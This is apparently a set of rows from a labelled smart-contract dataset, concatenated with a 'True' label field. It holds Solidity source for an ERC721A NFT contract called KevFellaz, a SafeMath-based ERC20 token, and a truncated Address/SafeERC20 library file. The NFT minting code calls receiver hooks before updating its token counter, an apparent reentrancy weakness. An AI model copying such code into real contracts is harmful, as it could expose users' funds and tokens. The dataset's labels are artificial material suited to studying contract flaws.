* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File contracts/ERC721A.sol
// Creator: Chiru Labs
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 1;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract KevFellaz is ERC721A, Ownable {
string public baseURI = "ipfs://QmdxujyZvUe5T2iG7NjK93A2wHcXHik7ynJtU7XuQm9Jpb/";
string public constant baseExtension = ".json";
address public constant proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
uint256 public constant MAX_PER_TX = 10;
uint256 public constant MAX_SUPPLY = 778;
uint256 public constant price = 0.00 ether;
bool public paused = true;
constructor() ERC721A("KevFellaz", "KEVZ") {}
function mint(uint256 _amount) external payable {
address _caller = _msgSender();
require(!paused, "Paused");
require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply");
require(_amount > 0, "No 0 mints");
require(tx.origin == _caller, "No contracts");
require(MAX_PER_TX >= _amount , "Excess max per paid tx");
require(_amount * price == msg.value, "Invalid funds provided");
_safeMint(_caller, _amount);
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
(bool success, ) = _msgSender().call{value: balance}("");
require(success, "Failed to send");
}
function pause(bool _state) external onlyOwner {
paused = _state;
}
function setBaseURI(string memory baseURI_) external onlyOwner {
baseURI = baseURI_;
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "Token does not exist.");
return bytes(baseURI).length > 0 ? string(
abi.encodePacked(
baseURI,
Strings.toString(_tokenId),
baseExtension
)
) : "";
}
}
contract OwnableDelegateProxy { }
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
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pragma solidity ^0.5.0;
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor (
string memory name,
string memory symbol,
uint8 decimals,
uint256 totalSupply
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mint(msg.sender, totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
// function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
// require(address(this).balance >= value, "Address: insufficient balance for call");
// return _functionCallWithValue(target, data, value, errorMessage);
// }
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
